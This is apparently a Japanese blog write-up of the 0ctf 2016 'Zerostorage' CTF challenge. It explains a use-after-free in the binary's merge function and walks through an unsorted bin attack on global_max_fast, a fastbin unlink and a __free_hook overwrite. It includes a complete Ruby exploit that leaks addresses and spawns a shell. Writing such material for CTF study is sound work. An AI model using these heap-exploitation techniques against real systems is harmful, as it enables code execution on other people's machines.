Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

0ctf2016 Zerostorage (pwn6)

github.com

日本語writeupないので,もしかしたら貴重かも?参考文献にあるwriteupが何やってるかわからなからないコードが多いので,exploitのコメントはがんばって書いてみた.

下調べ

  • Full RELRO, Canary, Nx, PIE
  • x86_64, stripped, dynamically linked
  • libc配布済み

厳しいバイナリ

解析

メモ管理系のバイナリで,以下のようなentry(自分で名前つけた)構造体を大域変数の配列entriesとしてもっている.

struct entry {
  int flag;
  int length;
  int *ptr; 
};

ptrメンバには,長さが0x80以下であればそのまま,それ以上であればその値を引数に取ってcallocを呼び,/dev/urandomの乱数でxorをした後にptrに格納する.利用する際には,毎回xorで復号している.

  1. Insert
    • 長さを入力して,その分だけデータを入力できる.
    • 上記のようにcallocを使ってメモリ確保
  2. Update
    • idを入力し,entry[id]が存在すれば長さを入力して,その分だけデータを入力できる.
    • 長さが以前より大きい場合はreallocが呼ばれる
  3. Merge(脆弱性)
    • 2つのid(to, from)を入力して,fromのデータをtoのデータのあとにmemcpyして,fromのentryのflagやlengthに0を代入する
    • fromのptrをfreeする   * 新しいentryにtoのptrや足し合わせた長さなどを代入する.
    • 同じidを入れた場合,fromのptrを解放した後に,新しいentryにtoのptrもとい同じptrを代入することになる(UAF)
  4. Delete
    • 入力したidのentryを消す.freeが呼ばれる.
  5. View
    • 入力したidのデータが見れる.
    • entry[id]のlength分writeする.
  6. List
    • リスト表示するだけ
  7. Exit
    • 終わり

Exploit

攻略の上で重要なのはMergeにおけるUAFである.これを用いることで,異なるentryから,free済みのchunkをいじれることになる.通常chunkのdata部分をユーザが触ることになるので,free済みの場合はmalloc_chunkのfdやbkを書き換えすることが可能になる.mchunk_sizeが小さくfastbinとして扱えるchunkであればすぐにfastbin unlink attackを行うことができるのだが,今回のchunkは最低0x80となっており,解放してもfastbinに入ることはない.
では,fastbinに入らないchunkはどうなるのかというと,unsortedbinという双方向なリストに繋がることになる.このリストにあるchunkはその後,smallbinやlargebinに振り分けられることになる.今回は,このunsortedbinを用いた攻撃手法のunsorted bin attackを使ってみる.
大雑把に説明すると,unsortedbinのbkメンバを書き換えることで,書き換えたアドレスを大きな値に書き換えることができるようになるという攻撃手法である.今回はUAFを用いてこのunsortedbin->bkを書き換える.では,どこを書き換えるのが良いだろうか. 結論から言うと,今回はlibc内の大域変数であるglobal_max_fastという値を書き換える.
malloc関数の内部で呼ばれる_int_malloc関数では,要求サイズをchecked_request2sizeで少しいじってあげて,その値を以下の条件分で比較し,真の場合はfastbinsからchunkを利用するという処理が行われる.

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))

このget_max_fast()は以下のように定義されており,大域変数global_max_fastを返すだけのマクロになっている.

#define get_max_fast() global_max_fast

このglobal_max_fast自体は,malloc_init_state関数の内部でset_max_fastマクロを使ってDEFAULT_MXFASTという値を設定している.(DEFAULT_MXFASTは,x86なら0x40, x64なら0x80) つまり,gloabl_max_fastを大きな値にしてしまえば,chunkが大きくてもfastbinsに入れることが出来るということになる.そうすれば簡単にfastbins unlink attackに持ち込むことができる.
これらをするには,ヒープやlibcのアドレスをリークする必要がある.これに関してはViewでデータもとい解放済みのchunkを表示することで,unsortedbinのfdとbkが出力されるこになり,初期だとヒープベース,&main_arena->topになっているため簡単にリークできる.
fastbins unlink attackにより書き換えが可能になった後は,entryのptrを偽装してあげれば,Updateの際に偽装したアドレスに値を書き込むことが可能になる.そのためにはアドレスとKeyでXORした結果を格納しなくてはいけないので,Viewのリークを使って,Keyもリークさせる必要があるが,XORなのでentry[id]のptrと実際のentries[id]の2つでXORすればKeyは求まるため.事前にPIEのベースアドレスなども算出しておく.
これらを使って,書き換えを行う先としては,通常ならGOTとかを書き換えてしまえば楽なのだが,今回はFull RELROなのでこの方針はだめで,__free_hookを書き換えるようにする.

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook); // __free_hookを読み取る
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0)); // 関数ポインタ実行
      return;
    }

これはfree関数が呼ばれた時に実行される関数ポインタになっており,libc内のbssセクションにあるためFull RELROの制約を受けない上に,free(p)が__free_hook(p)となるので,chunkのデータ領域に引数を設定しておけば書き換えた関数へ楽に渡すことができる.
長くなったが,以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def menu(t)
  t.recv_until(": ")
end

def insert(t, length, text)
  puts "insert"
  t.sendline("1")
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  menu(t)
end

def update(t, idx, length, text)
  puts "update"
  t.sendline("2")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  t.recv_until("\n")
  menu(t)
end

def merge(t, from_idx, to_idx)
  puts "merge"
  t.sendline("3")
  t.recv_until(": ")
  t.sendline(from_idx.to_s)
  t.recv_until(": ")
  t.sendline(to_idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def delete(t, idx)
  puts "delete"
  t.sendline("4")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def view(t, idx)
  puts "view"
  t.sendline("5")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  no = t.recv_until(":\n")
  text = t.recv_until("\n")
  [no, text]
end

PwnTube.open(host, port) do |t|

  offset_top = 3925944
  offset_pie = 6201344 # pie_baseとlibc_base間のオフセット
  offset_gloabl_max_fast = 3935040

  menu(t)
  
  # 解放予定chunk(delete)
  insert(t, 8, "WillFree") # 0

  # 対consolidate(UAF1) & system関数の引数用
  insert(t, 8, "/bin/sh\x00") # 0, 1

  # 解放予定chunk(merge)
  insert(t, 8, "WillFree") # 0, 1, 2

  # 対consolidate(UAF1)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3

  # 対consolidate(UAF2)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4

  # fastbins unlink attackのときにentries[5]を利用
  # entries[5]をmalloc_chunkとして捉えた時以下のようになる
  # entries[5].flag   -> mchunk_prev_size
  # entries[5].length -> mchunk_size
  # entries[5].ptr    -> fd
  # 後にcallocする際にサイズチェックされるので
  # そのchunkのサイズと同じlengthにしておく
  insert(t, 0x90, "G" * 0x90) # 0, 1, 2, 3, 4, 5

  delete(t, 0)                # 1, 2, 3, 4, 5

  # UAF1
  # entries[2].ptrがunsortedbinに入る
  # unsortedbin->fd => heap_base
  # unsortedbin->bk => &main_arena->top
  merge(t, 2, 2)              # 0, 1, 3, 4, 5
  
  # entries[0]経由で,UAF発生
  heap_base, top = u64(view(t, 0)[1])
  libc_base       = top - offset_top
  global_max_fast = libc_base + offset_gloabl_max_fast
  pie_base        = libc_base + offset_pie
  global_entries  = pie_base + 0x203060
  #global_entries  = 0x555555554000 + 0x203060
  libc_free_hook  = libc_base + 0x3c0a10
  libc_system     = libc_base + 0x46590
  
  puts "pie_base 0x%x" % pie_base
  puts "entries 0x%x" % global_entries
  puts "heap base 0x%x" % heap_base
  puts "libc base 0x%x" % libc_base
  puts "libc_free_hook 0x%x" % libc_free_hook
  puts "libc_system 0x%x" % libc_system

  # unsortedbinに繋がっていたchunkがcallocで返される
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5
  
  # unsortedbin->bk = gloabl_max_fast - 0x10
  update(t, 0, 16, "GOMIGOMI" + p64(global_max_fast - 0x10))
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6
  
  # UAF2
  merge(t, 4, 4) # 0, 1, 2, 3, 5, 6, 7

  # UAF2を利用してentries[7]経由でentries[4].ptrのfdを
  # &entries[5]に書き換え
  update(t, 7, 8, p64(global_entries + 5 * 24))
  
  # unlink
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6, 7

  # callocが&entries[5].ptrを返す
  # 24 = sizeof(struct entry)
  # entries[8].length = 24 * 3 + 8
  # entries[8].ptr = &entries[5]
  insert(t, 24 * 3 + 8, "G" * (24 * 3 + 8)) # 0, 1, 2, 3, 4, 5, 6, 7, 8

  # entries[5].ptrから24 * 3 + 8 分write
  # entires[8].ptrまでがleakする
  # KeyとXORされた&entries[5]が分かる
  leak = u64(view(t, 8)[1])[9]
  key = leak ^ (global_entries + 5 * 24 + 16)
  puts "[+] key 0x%x" % key

  # 8byte paddingを入れればentries[6]になる
  payload = "GOMIGOMI"                 # entries[5].ptr
  payload << p64(1)                    # entries[6].flag
  payload << p64(0x8)                  # entries[6].length
  payload << p64(key ^ libc_free_hook) # entries[6].ptr
  update(t, 8, payload.length , payload)

  # free_hookをsystemに書き換え
  update(t, 6, 8, p64(libc_system))

  # entries[1]を削除
  # free_hook起動
  t.sendline("4")
  t.recv_until(": ")
  t.sendline("1")

  t.shell
end

以下が実行結果である.これは自分のlibcだが,配布libcでもオフセットさえ変えればシェルを取ることができた. f:id:encry1024:20170303102912p:plain

感想

久しぶりにmalloc.cを読み返したりしながら,unsorted周りとかを見直すことができ,House of Forceの記事などで呼んだときよりも精確にfastbins周りのことについても学ぶことができたし,global_max_fastを書き換えて全部fastbinsにしちゃうという超絶テクも学ぶことができて楽しい問題だった.__free_hookに関しても実際に使ったことはなかったので良い経験になった.
そんなことは正直,今はどうでもよくて午後に本日公開のアサシンクリードの映画を見に行くので,めちゃくちゃ楽しみという気持ちと午後に成績発表があり胃が痛いという気持ち.

参考文献